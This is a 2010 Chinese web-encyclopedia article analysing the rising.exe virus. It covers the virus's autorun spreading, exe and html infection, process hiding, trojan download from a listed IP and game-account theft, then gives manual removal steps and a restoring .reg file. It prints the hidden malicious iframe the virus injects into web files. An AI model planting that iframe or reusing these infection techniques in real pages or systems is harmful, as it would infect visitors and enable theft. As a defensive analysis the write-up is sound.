分享
 
 
 

rising.exe

王朝百科·作者佚名  2010-02-13
窄屏简体版  字體: |||超大  

前几天中了一个这病毒, 在网上找到了解决方法,发出来和大家一起分析一下。该病毒主要破坏功能有:

1.感染exe 并使得被感染的exe的公司等属性变为“番茄花园”

2.感染html asp 等文件 插入恶意代码

3.通过双击磁盘启动

4.下载木马,盗取网游帐号

5.修改注册表,使系统无法显示隐藏文件

6.通过hook API 函数导致任务管理器中无法看见其进程!(这点十分可恶)!

分析报告如下:

File: rising.exe

Size: 64775 bytes

File Version: 1.00

MD5: 86311B37D938BB35645E7B092014DD63

SHA1: 47C324A5A691DD31DC0410E51ADBD35065E6C7C3

CRC32: 88ABBD9B rising.exe 运行后 首先释放一个rising.eve的文件 然后由rising.exe启动他

之后 释放139CA82A.EXE 139CA82A.dll(随机的8个数字字母组合成的文件名)到系统文件夹

注册服务139CA82A.EXE

139CA82A.EXE控制winlogon进程 使得139CA82A.dll插入几乎所有进程

释放rising.exe 和autorun.inf 到每个分区,使得双击磁盘启动

感染除系统分区外的exe文件 使得其公司名全变为番茄花园

感染 html asp 等文件 在其后面插入代码

<iframe src="http://web.yulett.cn/count.htm" width="0" height="0" frameborder="0"></iframe>

修改系统时间 随机把年份往前调 月,日不变

修改 HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue:

值为 0x00000000

导致无法显示临时文件

rising.exe 还会hook 多个 API函数 使其进程在任务管理器中隐藏

使用Explorer.exe连接网络 61.152.92.98:80下载木马

下载的木马一般为K117815XXXXX.exe

XXXXX代表随机

到系统文件夹

由于 每台机器上下载的木马的名称不同 但最后结果相同 所以中间释放的过程省略

最后 这些木马运行后分别释放了如下文件

C:WINDOWSsystem32uchehuo.exe(创建了服务inetsvr)

C:WINDOWSsystem32cmdbs.dll

C:WINDOWScmdbs.exe

C:WINDOWSsystem32Kvsc3.dll

C:WINDOWSKvsc3.exe

C:WINDOWSsystem32mppds.dll

C:WINDOWSmppds.exe

C:WINDOWSsystem32msccrt.dll

C:WINDOWSmsccrt.exe

C:WINDOWSsystem32winform.dll

C:WINDOWSwinform.exe

C:WINDOWSsystem32winsock.exe

临时文件夹下 释放upxdnd.exe和upxdnd.dll

解决办法:

安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)

首先把系统日期 改回来

然后打开sreng

启动项目 注册表 删除如下项目

<upxdnd><C:DOCUME~1ADMINI~1LOCALS~1Tempupxdnd.exe> []

<msccrt><C:WINDOWSmsccrt.exe> []

<cmdbs><C:WINDOWScmdbs.exe> []

<mppds><C:WINDOWSmppds.exe> []

<Kvsc3><C:WINDOWSKvsc3.exe> []

<winform><C:WINDOWSwinform.exe> []

“启动项目”-“服务”-“Win32服务应用程序”中点“隐藏经认证的微软项目”,

选中以下项目,点“删除服务”,再点“设置”,在弹出的框中点“否”:

139CA82A / 139CA82A

Wireless Zero Conflguration / inetsvr

把下面的 代码拷入记事本中然后另存为1.reg文件

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL]

"RegPath"="Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"

"Text"="@shell32.dll,-30500"

"Type"="radio"

"CheckedValue"=dword:00000001

"ValueName"="Hidden"

"DefaultValue"=dword:00000002

"HKeyRoot"=dword:80000001

"HelpID"="shell.hlp#51105"

双击1.reg把这个注册表项导入注册表

然后双击我的电脑-工具-文件夹选项-查看-显示所有文件和文件夹,把“隐藏受保护的系统文件”的勾去掉。

右键 点击C盘 点击右键菜单中的“打开”打开C盘 (千万不要双击)

删除 如下文件

C:

ising.exe

C:autorun.inf

C:WINDOWSsystem32uchehuo.exe

C:WINDOWSsystem32cmdbs.dll

C:WINDOWScmdbs.exe

C:WINDOWSsystem32Kvsc3.dll

C:WINDOWSKvsc3.exe

C:WINDOWSsystem32mppds.dll

C:WINDOWSmppds.exe

C:WINDOWSsystem32msccrt.dll

C:WINDOWSmsccrt.exe

C:WINDOWSsystem32winform.dll

C:WINDOWSwinform.exe

C:WINDOWSsystem32winsock.exe

C:WINDOWSunspapik.txt

C:WINDOWSwiasevct.txt

C:WINDOWSwiasvctr.txt

C:WINDOWSganran.txt

C:WINDOWSsystem32139CA82A.DLL(随机的8个数字字母组合成的文件名)

C:WINDOWSsystem32139CA82A.EXE(随机的8个数字字母组合成的文件名)

C:WINDOWSsystem32K117815XXXXX.exe(XXXXX代表随机数字)

清空C:Documents and Settings用户名Local SettingsTemp

右键 点击分别打开系统分区以外的分区 还是点击右键菜单中的“打开” (千万不要双击)

删除每个分区下面的autorun.inf和rising.exe文件;

最后用杀毒软件全盘扫描。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有